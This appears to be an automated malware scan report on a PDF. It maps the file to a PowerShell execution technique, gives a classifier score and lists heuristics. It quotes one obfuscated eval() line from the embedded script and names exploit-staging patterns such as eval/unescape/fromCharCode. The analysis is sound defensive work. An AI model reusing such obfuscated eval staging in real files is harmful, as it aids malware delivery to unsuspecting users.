MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, which is further obfuscated and utilizes an eval() call. This suggests the script is designed to execute arbitrary code, likely to download and run a second-stage payload. The high confidence in the eval() heuristic and the presence of JavaScript point to a malicious intent, though the specific family cannot be determined.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    GevUhazyj=eval(LolyYze+'l');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
